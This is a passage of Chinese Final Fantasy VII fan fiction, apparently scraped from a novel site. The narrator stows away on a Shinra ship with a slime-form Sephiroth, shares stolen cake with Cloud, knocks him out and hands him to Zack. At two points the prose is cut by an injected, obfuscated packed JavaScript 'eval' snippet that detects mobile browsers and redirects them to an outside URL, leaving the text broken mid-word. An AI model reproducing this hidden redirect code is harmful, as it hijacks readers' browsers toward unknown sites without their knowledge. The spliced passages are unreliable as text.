【“不过,如果你愿意,也可以称呼它为‘具备无限可塑性的原始生命形态’,或者更简单一些,‘纯粹能量的具现化’。当然,‘鼻涕’这个称呼,倒也…别具一格。”】 他说话的同时,缠在我手腕上的那截“触手”轻轻收紧了一些,然后又倏地松开,像是在表达某种情绪。 更多的细小“触手”从主体上延伸出来,在我面前轻轻晃动,如同水草在无形的暗流中摇曳。 “听起来很高大上嘛。” 我撇撇嘴,另一只手也伸了过去,大胆地在那坨“鼻涕”的主体上摸了一把。 触感和预想中的差不多,冰凉,柔软,富有弹性,按下去会微微凹陷,然后又缓慢地恢复原状,像是一块巨大的、有生命的果冻。 它的表面非常光滑,没有任何颗粒感,只有那种流动的碧绿色光芒证明它并非死物。 【“这种形态,束缚更少,能量的传导和运用也更加直接、高效。你不觉得吗?”】 随着他的话语,几根更粗壮的触手猛地伸出。 如同灵活的鞭子般在空中划过几道残影,精准地卷起床头柜上我的那件黑色斗篷和面罩,以一种堪称优雅的姿势,将它们递到我的面前。 “哦?是吗?” 我挑了挑眉,接过自己的衣物,顺手穿好。 那团萨菲罗斯在我穿戴整齐后,主体部分微微收缩了一下,然后几根较为粗壮的触手平稳地伸展出来,支撑着它从床铺上“漂浮”起来,悬停在半空中。 它的大小比之前似乎缩小了一些,形态也更加凝实,不再像刚才那样随意摊开,而是聚拢成一个相对规则的椭球形,表面那些碧绿色的光芒流动得也更加迅速。 没等他再说些什么,我将萨菲罗斯抱了起来。 它好像颤动了一下。 “走吧,我们去坐免费的船。” 我俯身,随后从窗台一跃—— 清晨的海风带着微凉的湿意扑面而来,将我的黑色斗篷吹得猎猎作响。混杂着鱼腥、铁锈和淡淡魔晄燃油的气味。 怀里的萨菲罗斯在我跳下的瞬间,那些原本柔软的触手似乎微微绷紧了一些,然后又放松下来,有几根细小的触须主动缠绕上我的手臂。 “抓稳了,萨菲罗斯三号!” 我低笑着,脚尖在下方一户人家的屋檐上轻轻一点,借力再次拔高。 珠诺的建筑风格与米德加截然不同,大多是些低矮坚固的石质或木质房屋,屋顶也多是倾斜的瓦片结构,对我来说简直是天然的跑酷赛道。 【“‘萨菲罗斯三号’?”】 怀中的墨色凝胶状物体震动了一下,一道碧绿色的光芒在它半透明的体内如同闪电般迅速划过。 【“我以为你会选择一个更…符合我本质的代号?”】 “哦?那你觉得什么代号符合你的本质?” 我轻松地一个侧空翻,躲过一根横亘在屋顶间的晾衣绳,上面还挂着几件随风飘扬的、带着浓重鱼腥味的旧衣服。 “‘盖亚未来驾驶员’?还是‘人形自走杰诺瓦细胞培养皿’?或者干脆叫‘杰诺瓦第一孝子’?” 话音刚落,几根原本搭在我手臂上的细小触手不安分地蠕动起来,顶端微微翘起,对着我的脸颊晃了晃,好似在无声地抗议。 --- 珠诺港口的清晨已经相当繁忙,工人们的吆喝声、起重机运作的轰鸣声、以及那该死的神罗军歌混合在一起,形成一片嘈杂的背景音。不过,这倒是为我的潜行提供了不错的掩护。 那团萨菲罗斯趴在我的头顶,我仰头,思索着怎么溜上这座轮船。 【“船体右后舷,水线以上三米左右的位置,有一个维修用的小型舱门。目前没有守卫,而且似乎没有完全锁死。”】 我拍了拍头顶那冰凉柔软的一团。 “没想到你变成鼻涕之后,还有点用处嘛。” 【“如果你能把这种无聊的称呼改掉,或许我的‘用处’会更大一些。”】 几根细小的触手从边缘伸出来,不轻不重地敲了敲我的额头。 看在他现在是团鼻涕的份上,我勉强原谅他了。 “知道了知道了。” 我敷衍地应着,身体已经如同离弦之箭般窜了出去。 珠诺港口的清晨虽然嘈杂,但神罗士兵的巡逻密度却一点也不低。 他们三人一组,五人一队,荷枪实弹,目光锐利地扫视着每一个角落。 我借着堆积如山的货物集装箱的阴影,灵巧地在各种障碍物之间穿梭。 那些神罗士兵的视线扫过,但总是在我闪身躲开的前一刻擦肩而过。 “喂,鼻涕,你确定那地方没人?” 我在一个巨大的起重机履带后停下,压低声音问头顶的家伙。 【“根据我刚才的观测,目标区域在接下来的三分钟内处于防卫真空期。”】 萨菲罗斯的声音直接在我脑海中响起,冷静而肯定。 【“不过,人类的行为总是充满了不确定性,尤其是在这种戒备森严的环境下。建议你加快速度。”】 他那团墨色的身体在我头顶微微蠕动了一下,几根极细的触手指向右前方。 【“那边,绕过那堆废弃的缆绳,再穿过两个集装箱的缝隙,就能看到船舷了。”】 “收到。” 我再次确认了一下四周的情况,然后猛地发力。 脚下的水泥地几乎没有发出任何声响,身影在复杂的港口设施间拉出一道道模糊的残影。 正如萨菲罗斯所说,绕过那堆散发着浓烈机油味的废弃缆绳,眼前豁然开朗。巨大的神罗轮船如同一座钢铁小山般矗立在面前,灰黑色的船身在晨光下泛着冰冷的金属光泽。 右后舷水线以上几米的地方,一个不起眼的小型舱门嵌在那里,门上的红色警示灯没有亮起。 “看起来确实没人。” 我眯起眼睛,仔细观察着。 越靠近,那股军乐就越发大声,时不时的还能听见士兵们合唱的练习语调。 【“左前方那队巡逻兵,预计五秒后会转向。”】 【“五,四…”】 萨菲罗斯开始倒数。 就在他数到“二”的瞬间,我猛地前冲,身体几乎贴着冰冷的船舷滑行,在最后一秒钟闪到了舱门的另一侧。 几乎是同时,一队神罗士兵迈着整齐划一的步伐从我刚才藏身的地方经过,他们手中锃亮的枪口在晨光下反射出刺眼的光芒,谈笑声和军靴踏地的声音清晰可闻。 拉开舱门,我反手将其轻轻合上,只留下了一条几乎看不见的缝隙,以便观察外面的情况。 船舱内部比我想象的要昏暗许多,空气中弥漫着一股难以形容的混合气味,但我对这个地方可是轻车熟路——这里是休息室的走廊。 每次珠诺的阅兵仪式,我都会来这里摸鱼。 【“如我所料,母亲的最后一部分就在此。”】 萨菲罗斯忽然没头没尾的来了这么一句。 我眨了眨眼。 哦,怪不得昨天他非要让我等到阅兵仪式才走呢。 【“我会处理好一切,在这里等我。”】 【“我会尽快。如果遇到无法处理的情况…”】 他停顿了一下。 【“直接呼唤我的名字。无论我在哪里,无论我在做什么,我都会立刻回到你身边。”】 留下了最后一句,萨菲罗斯三号就不再传递信息了。 它现在更像是一顶冰凉柔软的、会轻微蠕动的帽子,安安静静地趴着,那些碧绿色的光芒也收敛了许多,只是在墨色的胶状体内部隐约流动。 “喂,鼻涕。” 我抬手,轻轻拍了拍头顶那坨东西。 没有回应。 看来是真的进入“勿扰模式”了。 既然要等,总得找点乐子打发时间。 往里走几步,有一个不起眼的杂物间,门锁常年都是坏的。 我记得里面堆放着不少好东西,比如过期的压缩饼干、味道怪异的能量饮料,偶尔还能翻到几本被神罗士兵藏起来的、封面花花绿绿的限制级小说。 轻车熟路地走到杂物间门口,果然,门锁还是那副半死不活的样子,轻轻一推就开了。 里面的景象也和记忆中相差无几,各种杂物堆积如山,散发着一股尘封已久的霉味。 我兴致勃勃地开始翻找起来,很快就在一个破旧的纸箱底下,找到了一包用油纸裹着的、看起来像是某种肉干的东西。 “哦豁,这个看起来不错。” 我撕开油纸,里面是几条颜色暗红、质地坚硬的肉干。 闻了闻,一股浓郁的烟熏味和淡淡的香料气息。虽然不知道是什么动物的肉,但看起来还挺有嚼劲的。 我撕下一小块塞进嘴里,用力嚼了嚼。 味道比想象中的要好,咸香适口,越嚼越香,就是有点硬,费牙。 “萨菲罗斯,你要不要也来点?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530663|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一边嚼着肉干,一边抬头,对着头顶那团史莱姆晃了晃手里的油纸包。 它依旧毫无反应。 “切,不识货。” 我撇撇嘴,自顾自地享用起来。 就在我吃得津津有味的时候,走廊尽头传来了脚步声,由远及近,还伴随着两个男人刻意压低的交谈声。 “……我说,鲁尼,这次阅兵仪式完了,咱们是不是能多捞点外快?” 一个略显尖细的声音说道。 “嘘,小声点!你想被长官听到吗?” 另一个相对沉稳的声音呵斥道。 “不过,头儿确实暗示了,只要这次不出岔子,年底的奖金肯定少不了。听说总裁大人也会亲自出席,这可是个表现的好机会。” “嘿嘿,那是自然。不过,最近船上的补给好像越来越差了,连点像样的肉都吃不到。也不知道那些当官的是不是把好东西都自己留着了。” 尖细的声音抱怨着。 “行了,别发牢骚了。赶紧巡逻完这一圈,回去还能眯一会儿。等阅兵结束,咱们去港口那边的‘红珊瑚’好好喝一杯!” 脚步声越来越近,眼看就要拐过前面的弯了。 我把最后一点肉干塞进嘴里,舔了舔手指上的油渍,然后不紧不慢地从杂物间里走了出来。 顺手还拎了一罐不知道是什么牌子的、罐身上画着一只露出狰狞笑容的陆行鸟的饮料。 头顶的萨菲罗斯三号有些晃眼,于是我捣鼓了会,把它塞进了我的兜帽下,跟我的头发压在一起。 下一步—— 食堂门口! 那是一扇厚重的双开金属门,门上有一个小小的圆形观察窗。我凑过去往里瞧了瞧。 内部灯火通明,空间相当宽敞,摆放着几十张擦得锃亮的金属长条桌和配套的条凳。 此刻,食堂里的人并不多,大概只有十几个穿着神罗厨师服或者杂役服装的人在忙碌着,准备着即将开始的早餐。 巨大的不锈钢操作台上堆满了各种食材——新鲜的蔬菜、大块的肉类、成袋的面粉和糖。 几个厨师正挥舞着厨刀,将食材切块处理;另一些人则在巨大的烤箱和灶台前忙碌,蒸汽和食物的香气从那边不断地飘散出来。 其中一个角落的操作台上,一个胖乎乎的厨师正哼着小调,用裱花袋在一个巨大的多层蛋糕上挤着奶油花,那蛋糕看起来就是为某个重要场合准备的。 看到那个蛋糕,我的眼睛都亮了。 白色的奶油被裱成精致繁复的花边和玫瑰,层层叠叠地覆盖着蛋糕的每一寸表面。 新鲜红润的草莓、饱满欲滴的蓝莓和晶莹剔透的奇异果片被巧妙地镶嵌在奶油之间,如同宝石般闪闪发光。 蛋糕的顶端,还用融化的黑巧克力勾勒出神罗公司的徽章,以及一行歪歪扭扭的庆祝字样,估计是庆祝这次阅兵仪式的圆满成功之类的屁话。 “……” 下一秒,我又出现在了食堂门外,手里多了一盘蛋糕。 没有任何一个人注意到我的出现。 蛋糕的香气非常浓郁,是那种混合了大量糖霜、黄油和新鲜水果的甜腻味道,光是闻着就让人血糖飙高。 奶油堆砌得跟小山似的,几颗饱满的红醋栗点缀其间,透着一股“我很贵,一般人吃不起”的傲慢劲儿。 我用空着的那只手调整了一下兜帽,确保头顶那坨进入“省电模式”的萨菲罗斯三号不会因为我接下来的动作而滑下来。 接着,拿起刚刚顺来的小勺子,我舀了一大块。 甜,极致的甜。 奶油的丝滑、蛋糕的松软、果酱的黏稠、还有水果那一点点微不足道的酸,所有味道都被霸道的甜味所掩盖。 我得承认,这种纯粹的、不讲道理的甜腻,在某种程度上确实能带来一种短暂的愉悦感,大概就像宝条看到他那些扭曲实验品成功时的感觉。 因为实在是太腻了,我用另一只手打开了那罐陆行鸟饮料,碳酸汽水发出咔擦的声音。 “咕嘟咕嘟——哈!” 冰凉的、带着强烈气泡感的液体顺着喉咙滑下,那种刺激的口感瞬间冲淡了先前蛋糕带来的甜腻。 我咂咂嘴,看向手中的饮料罐。 罐身上那只咧着嘴、露出尖牙的陆行鸟图案,画风相当狂野,与其说是饮料吉祥物,不如说是从哪个噩梦里跑出来的怪物。 饮料的味道也和它的包装一样一言难尽,像是把几种完全不搭的水果硬生生兑在了一起,还加了过量的糖精,甜得发苦,余味还有点微妙的化学药剂感。 “真难喝。” 我皱着眉头,把那罐只喝了一口的陆行鸟饮料随手丢进了旁边的垃圾桶。 哐当一声。 饮料罐落底的瞬间,我忽地感觉到了什么。 回过头。 一个神罗士兵不知何时出现在了走廊的尽头,他的胸膛轻轻起伏,好像是跑过来的。 制式头盔下,紧抿的唇。 我与他对上了视线。 他叫了我的名字。 是克劳德啊。 “……” 59.第56章 我也不知道是怎么变成这样的。 总而言之,我与克劳德在神罗士兵的休息室里吃蛋糕。 他的头盔放在旁边的椅子上。 “我找了你好久。” 克劳德那头标志性的金色陆行鸟发型有些凌乱,几缕不听话的发丝垂在额前。 虽然在吃着蛋糕,他却还是盯着我看。 “嗯嗯。” 我含糊地应了一声,又挖了一大勺甜腻的奶油塞进嘴里,试图用这种方式来掩盖此刻的尴尬。 他似乎并没有因为我的敷衍而转移视线,依旧那么定定地看着,那股沉默的压力让我有些不自在。 “……” 可恶,不知道为什么有些心虚。 没等他再次说一些奇怪的话,我戳了一块水果放在他面前。 “好吃吗?” “……嗯。” 他低声应了一句,将草莓送进嘴里,咀嚼的动作很慢,也不知道他尝出什么味道没有。 我觉得他应该没有,毕竟这个玩意可是齁甜。 在休息室里四处张望,我忽地发现桌子的角落有瓶陆行鸟饮料,于是我顺手拿过来,递给他。 “这个也好喝。” 我蛊惑道。 克劳德默默地接过那罐画风狂野的陆行鸟饮料,青色的眼眸在我脸上停留了几秒,然后垂下,视线落在饮料罐那只咧嘴笑的陆行鸟上。 我见他犹豫,直接从他手里抢过,打开,一气呵成的喝了一口。 靠。 然后显露出了一个灿烂的微笑。 “很不错的,你也来一口?” 克劳德抿了抿唇,最终还是微微垂下眼睑,有些迟疑地张开了嘴。 我见状,立刻眼疾手快地将罐口凑了上去,轻轻一歪。 “咕咚。” 他很轻地咽下了一小口。 然后,他的表情凝固了。 那张总是没什么表情的俊秀脸庞,此刻出现了一种难以形容的扭曲,像是同时尝到了超量的糖精、腐烂的水果、生锈的铁钉外加洗洁精的味道。 他猛地闭上眼睛,身体都僵硬了。 “噗——咳咳咳!” 到底还是没忍住,一口饮料差点喷出来,被克劳德强行咽了回去,呛得他剧烈地咳嗽起来。 “怎么样?”我强忍着笑意,努力让自己的声音听起来充满关切,“是不是很提神醒脑?这可是珠诺港的特产,一般人我都不给他尝的。” “……” 咳完之后,克劳德擦了擦嘴。 许久不见,他的眼角下多了些青黑,以及面色稍稍苍白,此刻,脸颊因为缺氧而泛起一层不自然的红晕。 过了一会,缓过来,他瞥着我强忍笑意的模样,不知为何,轻轻笑了一下。 “确实,不错。” “……” 我狐疑地盯着克劳德,这家伙的味蕾是不是被魔晄泡坏了? 那种堪比毒药的饮料,他居然说“不错”? “我说,陆行鸟,”我向前倾了倾身体,压低声音,“你老实告诉我,你是不是失去味觉了?” 要不然他怎么能面不改色地咽下那种东西,还能对着那盘甜到发指的蛋糕说“嗯”? 克劳德闻言,那双青色的眼眸微微眨动了一下,视线从我脸上移开,落在他自己那只还沾着少许奶油的手指上。 他沉默了几秒,然后用一种很轻,但很清晰的语调回答。 “没有。” 他抬起眼,再次看向我,唇角那抹极淡的笑意还没有完全散去。 “只是,感觉不大一样。” “哦……” 我撇了撇嘴,往后靠回椅背上。 萨菲罗斯三号凉凉的,又软,是个不错的躺枕。 “那,你最近过的怎么样?和扎克斯一起在旅游?” “……” 他抿了抿唇。 “不,我们在追踪你。” 糟了,这个话题又绕回去了。 我头脑风暴。 “呃……一路上有什么新的伙伴吗?” 克劳德将手中那罐画风诡异的陆行鸟饮料轻轻放在桌上,发出很轻微的一声“嗑”。 “伙伴,”他重复了一遍这个词,声音低沉,尾音拖得有些长,好似在努力从混乱的记忆碎片中搜寻相关的画面,“嗯,有的。” 他停顿了一下,手指无意识地摩挲着冰凉的易拉罐罐身,那上面狰狞的陆行鸟图案被他的指腹蹭得有些模糊。 “扎克斯他,他总能找到一些…嗯…奇怪的人。” “你走的那天,有一个卖花的女孩,很爱笑,头发是棕色的,会编很好看的辫子。叫爱丽丝,她说她能听到星球的声音,是古代种。” “她和扎克斯会说些我听不懂的事,有时还会去照顾路边的小动物……” 他说到这里,嘴角不自觉地向上扬了扬,又很快压了下去。 “之后,蒂法,你之前在第七区见过。” “她选择跟我们一起追寻萨菲罗斯的踪迹,也就是你——” “咳咳,其他人呢!” 怎么又跟我扯上关系了?! “当天在米德加,其实我们还在神罗的实验室发现了一只……红色的犬类。它叫赤红十三。” “赤红十三,那是一只,嗯,很特别的生物。” 他斟酌着用词,声音依旧不高,但比之前流畅了一些。 “它会说话,像人一样,但是,是野兽的样子。红色的毛发,尾巴尖上燃烧着火焰。” “还有□□,就是你之前一直叫光头的……他最后也选择与我们同行。” “在东部草原,我们遇见了一个魔晶石猎人,她叫尤菲,好像来自五台。” “嗯,她很…活泼。总是说自己是为了复兴五台才收集魔晶石,但看起来更像是在给自己找零花钱。” 他拿起桌上那罐只被我喝了一口的陆行鸟饮料,又看了一眼,最终还是没有再碰它。 “她,嗯,她很擅长设置陷阱,还喜欢自称‘本小姐’。有一次,扎克斯不小心踩到了她埋的臭气弹,那味道…” 克劳德微微皱了皱鼻子,嘴角却控制不住地向上弯起。 “扎克斯追着她跑了很远,结果两个人身上都沾满了奇怪的颜色和味道,回来的时候,爱丽丝笑了好久。” 他顿了顿,语气也变得轻快了些。 “尤菲还会做一些奇怪的药剂,说是五台秘药,但是效果…总是出人意料。” “有一次,她给扎克斯一种说是能增强力量的药水,结果扎克斯喝下去之后,一整天都在打喷嚏,喷出来的都是彩色的亮片。” “噗——” 我居然不在场?这得有多好笑啊! 笑完之后,我陷入了沉思。 怎么听起来,他的旅途这么有意思呢?像是那种小说里主角团的标配。 而我就是跟萨菲罗斯从米德加一路烧杀抢掠(?) “你的同伴都挺有意思嘛。” 我吃了口蛋糕。 克劳德的嘴角稍稍蠕动了一下,他抬起头。 直视着我。 "他们都不是你。" “……” “为什么?” “为什么要走?信上写的那些,都是真的吗?” 我停下戳蛋糕的动作,抬起头,对上他那双执拗的眼睛。 “是的,我要复活萨菲罗斯。” 话音刚落,就见他的表情一变,于是我补充。 “但是最后我是不会输的……都说了让你在家好好待着等我回去了。” 克劳德手中铁罐被稍稍挤扁,发出轻微的、令人牙酸的声响。 “在家好好待着?” 他重复着我的话。 “你觉得,发生了那种事情之后,我还能像以前一样,安安稳稳地待在家里,等着你不知道什么时候回来吗?” 我呃了一声,刚伸出手—— 他攥住了我的手腕。 “……又想打晕我吗?” 我心里咯噔一下。 这家伙,怎么回事?直觉这么敏锐?难道是我平时的“前科”太多,让他总结出规律了? “你总是有很多理由。” 克劳德的声音因为压抑而显得有些嘶哑,每一个字都像是从牙缝里挤出来的。 “很多听起来…好像很奇怪的理由。” 他顿了顿,似乎在组织语言,或者是在努力平复翻涌的情绪。 “我不懂那些。我不懂……” 克劳德的眼神黯淡下去,掠过一丝深深的困惑和受伤。 “我只知道,我们……不是同伴吗?” “为什么要丢下我们?为什么要去做这么危险的事情?” “你想看到世界毁灭吗?你想让所有人都死去吗?” “……为什么要丢下我……” 他的声音带着难以抑制的颤抖。 “在你眼里,我是不是只是一个…一个可以随意抛弃的,无关紧要的——” 我用空出来的左手打晕了他。 克劳德闷哼了一声,瘫倒在椅子上。 我凑近了些,发现他看起来疲惫了不少。 这家伙,该不会这几天都没好好睡觉吃饭吧? “啧。” 我伸出手指,戳了戳他依旧温热的脸颊,软乎乎的,手感还不错,比那些神罗特供的高级点心还要好捏,之后顺手把他嘴角的蛋糕屑擦掉。 “真是的,追过来干什么呢。就不能安安分分待在家里,等我当上盖亚皇帝,给你封个大将军当当吗?” 如果是要手刃萨菲罗斯复仇,那也要等他完全复活吧。 现在他的状态,就算干掉他,也只能爆出更多的萨菲罗斯碎片。 哦,碎片之后会变成新的萨菲罗斯(?) 环顾了一下这个狭小的神罗士兵休息室。 这里简陋得很,只有几张硬板床和掉了漆的铁皮柜子,空气中还弥漫着一股汗味和劣质消毒水的混合气味。 于是我认命的把他背了起来。 熟悉的姿势。 那还剩一半的蛋糕,和有些扁扁的陆行鸟饮料就这样遗憾的留在了桌子上。 去找克劳德的同伴吧。 他们不会就这样让这只精神不稳定的陆行鸟混入神罗阅兵仪式吧? 至少我觉得扎克斯不会。 我背着昏迷不醒的克劳德,刚推开那扇吱呀作响的休息室铁门,刺耳的警报声就如同被踩了尾巴的野猫般尖啸起来。 船舱内原本昏黄的应急灯瞬间变成了急促闪烁的猩红色,将狭窄的走廊映照得一片鬼魅。 “搞什么啊。” 我不爽地啧了一声,调整了一下背上金发陆行鸟的姿势。 头顶那团充当帽子的“萨菲罗斯三号”依旧没有任何动静,安静得好似一块普通的黑色史莱姆。只是那微微的冰凉感和时不时蠕动一下的触感提醒着我它的存在。 “总裁遇袭——一级警报,到达目的地前船舱封锁。全体士兵到甲板集合!” 船舱内的广播系统传来一个男人惊慌失措、几乎破了音的吼叫,背景音还夹杂着其他人的尖叫和物品倒塌的巨响。 紧接着,走廊里响起了杂乱的脚步声和各种惊呼。 “天啊!发生什么事了?” 一个年轻士兵的声音带着哭腔。 “是海盗吗?” 另一个稍微年长些的声音怒吼道:“别傻了!广播没听见吗?总裁遇袭了!快!去武器库!” “可是,长官,我看到,我看到了银发!”先前那个年轻士兵的声音抖得更厉害了,“还有,那把长刀,是,是萨菲罗斯!他回来了!” “胡说八道!”年长士兵呵斥道,“萨菲罗斯早就死了!那是英雄的象征!怎么可能攻击总裁!” “可,可是,真的!我亲眼看到的!银色的头发!他,他像个幽灵一样!” “别管那么多了!执行命令!所有人去甲板!保护总裁!” 几个神罗士兵从我旁边的拐角处跌跌撞撞地跑过,他们脸上的表情混合着恐惧和难以置信,甚至没人注意到背着一个昏迷同伴、打扮怪异的我。 “真是的,神罗的士兵心理素质越来越差了。” 我摇了摇头,颠了颠背上的克劳德。 “还是我们那个时代的人能打。” 克劳德在我背上发出一声轻微的闷哼,脑袋无意识地蹭了蹭我的后颈,金色的发丝有些扎人。 “喂,陆行鸟,你最好给我老实点。” 我拍了拍他的屁股,男人无意识的又往我身上又蹭了蹭。 “再乱动就把你丢在这里喂鱼。” 刺耳的警报声还在持续,红色的光芒将船舱内部映照得如同番茄怪人袭击神罗。 更多的士兵从各个舱室里涌了出来,他们有的还衣衫不整,有的甚至没拿武器,脸上都带着惊恐和茫然。 “船舱封锁是什么意思?我们出不去了吗?” “别挡路!让我过去!我要去看看我弟弟!” “听说总裁的办公室被炸了!血流得到处都是!” “安静!保持秩序!特种兵小队已经赶过去了!我们只需要守住各自的岗位!” 一个军官模样的男人试图控制场面,但他的声音很快就被淹没在更大的混乱之中。 我背着克劳德,逆着人流,凭借着对这艘船(摸鱼时)的熟悉记忆,朝着通往上层甲板的楼梯摸去。 沿途经过几个舱室,有的门被□□破坏,里面一片狼藉;有的则紧紧关闭,里面传来压抑的哭泣声。 空气中弥漫着一股淡淡的硝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531962|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟味和若有若无的血腥气,混杂着人们的汗味和恐惧的气息。 “听着!萨菲罗斯,那个传说中的英雄,他没有死!他回来了!是他攻击了总裁!” 一个神罗通讯兵抱着他的通讯器,对着话筒声嘶力竭地喊着,但很快他的声音就被一阵剧烈的爆炸声所打断。 船体猛地晃动了一下,我脚下一个趔趄,背上的克劳德也跟着晃了晃,差点滑下去。 “前面!前面发生爆炸了!医疗兵!快需要医疗兵!” “是魔法攻击!小心!有敌人在船上!” 看来萨菲罗斯的“处理”过程,比我想象的还要激烈一些。 这家伙,无论变成什么形态,惹事的本事都是一流的。 好不容易挤到通往上层甲板的楼梯口,这里已经被更多慌乱的士兵和船员堵得水泄不通。 “让开!让开!我们是医疗队的!伤员在哪里?” “别推!别挤!一个一个来!” “上面还在打!太可怕了!我看到黑色的火焰了!” “喂,让一让,我这里有个伤员,急需治疗。” 我提高声音,试图引起前面人的注意。 一个穿着白大褂、戴着口罩的医疗兵闻声回头,看到我背上的克劳德,又看了看我这一身诡异的打扮,眼神里充满了警惕。 “你是哪个部门的?他怎么了?” 医疗兵厉声问道。 “我是他姐,他低血糖晕过去了,需要安静的地方休息。” 我面不改色地胡扯。 “低血糖?” 医疗兵的眉头皱得更紧了:“现在这种时候,还有人低血糖?” “是啊,他体质比较特殊,”我一脸“你奈我何”的表情,“所以,能让我们过去吗?或者,你们这里有没有安静点的地方,比如船长室什么的?” 医疗兵被我这理直气壮的态度噎了一下,张了张嘴,最终还是不耐烦地摆了摆手。 “上面甲板的医务室已经满了!自己想办法找个安全的地方待着!别在这里添乱!” 他说完,又急匆匆地去处理其他真正的伤员了。 啧,有些麻烦了。 现在要把这只陆行鸟送回他的伙伴旁边,还要想着等下怎么溜去西大陆。 【“扎克斯在后舱。”】 熟悉的声音直接在我脑海中响起,是头顶那团充当临时帽子的“萨菲罗斯三号”。 他终于连上线了。 “这个动静是你搞的鬼?” 萨菲罗斯意味不明的哼了一声。 【“神罗对母亲做了不可饶恕的事。”】 好的,知道你是杰诺瓦大孝子了。 “后舱是吧?” 我扬了扬眉,戳了戳头顶那冰凉柔软的一团。 “具体点,鼻涕泡,后舱那么大,我上哪儿找去?” 头顶的萨菲罗斯轻微蠕动了一下,几根极细的黑色触须从边缘探出,拍了拍我的额头。 【“三号货运升降梯附近,下层船员休息区。他似乎正在尝试联系其他人,但通讯受到了强烈干扰。”】 萨菲罗斯的声音依旧平静无波,带着他惯有的精准和一丝不易察觉的……嫌弃? “行吧,算你还有点用。” 我撇撇嘴,不再理会他无声的抗议,开始在混乱的船舱中穿行。 偶尔有几个士兵注意到我这个背着人、打扮怪异的家伙,但他们只是匆匆瞥一眼,就被更大的混乱吸引了注意力,根本没空盘问。 头顶的“萨菲罗斯三号”又蠕动了一下。 【“左前方,第二个岔路口左转,沿着维修通道走。那里人少,可以避开大部分巡逻队。”】 “收到。” 依照他的指示,我拐进一条狭窄的维修通道。 这里的光线更加昏暗,空气中弥漫着浓重的机油味和铁锈味。 果然,这里几乎没有人,只有管道偶尔发出的滴水声和远处传来的模糊爆炸声。 克劳德在我背上似乎动了动,发出几声无意识的呓语。 “老实点,金毛陆行鸟。”我颠了颠他,“马上就能把你丢给我的黑毛小弟了。” 穿过长长的维修通道,前方出现了一扇标着“船员休息区 C”的铁门。 头顶的“萨菲罗斯三号”再次传来讯息: 【“扎克斯就在这扇门后大约二十米远的通讯室。他身边没有其他人。”】 我深吸一口气,推开铁门。 通讯室里乱七八糟,各种线路和设备散落一地,只有一台老旧的通讯终端还在顽强地闪烁着微弱的信号灯。 扎克斯也是一身小兵的伪装,他背对着门口,正拿着话筒使劲敲打着终端的控制面板,嘴里还在不停地呼叫。 “爱丽丝?蒂法?你们能听到吗?克劳德又失踪了!我没抓住他……” “……” “我说,扎克斯——” 我靠在门框上,摆了个自认为比较帅的姿势,慢悠悠地开口。 “你是在找这个吗?” 扎克斯的身体猛地一僵,他难以置信地缓缓转过身。 当他看到我,以及我背上昏迷不醒的克劳德时,那双总是闪烁着阳光般神采的眼眸瞬间睁大了。 写满了震惊、担忧,还有一丝……难以名状的复杂情绪。 “前…前辈?!” 扎克斯的声音拔高了好几个调,他手里的通讯话筒“啪嗒”一声掉在了地上,发出沉闷的声响。 “还有克劳德!他,他怎么了?!你们遇到什么事了?!” 我把克劳德放下,扎克斯立马走过来,确认他的情况。 “前辈,克劳德他是……” 我挥了挥手。 “克劳德被神罗的蛋糕追杀,在逃难的路上又被陆行鸟攻击——总而言之,他现在没事。” “……” 扎克斯露出了一种要笑不笑的表情,确认了克劳德只是单纯昏迷过去后,猛的抬头,望着我。 “前辈——” “别来找我了。” 我没有回头。 --- 救生舱。 萨菲罗斯恢复了人形,在前方操作着船体的各种仪表,我靠在后座上,望着无垠的海面。 海风从特意留出的一条缝隙中灌进来,带着咸湿而清新的味道,吹散了船舱内残留的铁锈和硝烟气味,也吹起了我额前的几缕银发。 “你好像很在意他。” 萨菲罗斯的声音从前方传来。 我从鼻腔里发出一声轻哼,换了个更舒服的姿势窝在椅子里。 “在意谁啊?” 我在想等下去了金蝶怎么好好玩呢。 一时之间,萨菲罗斯好像低笑了一声,然后,莫名其妙的结束话题。 “不,没什么。” 60.第57章 科雷尔地区的阳光总是带着一股干燥的热风。 即使是清晨,也能感觉到空气中隐约的沙尘气息。 旅馆的浴室简陋却还算干净,热水从老旧的金属莲蓬头里喷洒出来,带着“嘶嘶”的声响,在不大的空间里迅速腾起一片白茫茫的蒸汽。 我发现萨菲罗斯很喜欢变成一团团的形态。 比如此时此刻,它和我一起泡在浴缸里。 我埋在热水里,伸出手戳了戳他。 被戳中的地方微微向下凹陷,荡开一圈圈细密的碧绿色涟漪,然后又缓慢地恢复原状。 “萨菲罗斯,你会不会泡发啊?” 【“你的想象力,一如既往地别出心裁。”】 萨菲罗斯的声音直接在我脑海中响起,带着他特有的、慢条斯理的腔调。 “这不是想象力的问题,这是生活常识!” 我理直气壮地反驳,手指又在他身上戳了几下,感受着那奇特的触感。 “你看啊,很多东西泡了水都会变大的。比如豆子,比如海绵。” “我并非‘很多东西’中的一员。” 没等他再说什么,我已经开始了我的创作。 很快,一只朦胧的绿色小陆行鸟的轮廓就出现了,我又把他挤扁,捏成仙人掌的模样。 “仙人掌太简单了,”我嘟囔着,感受着指尖下那冰凉Q弹的触感,“要来点有难度的。” 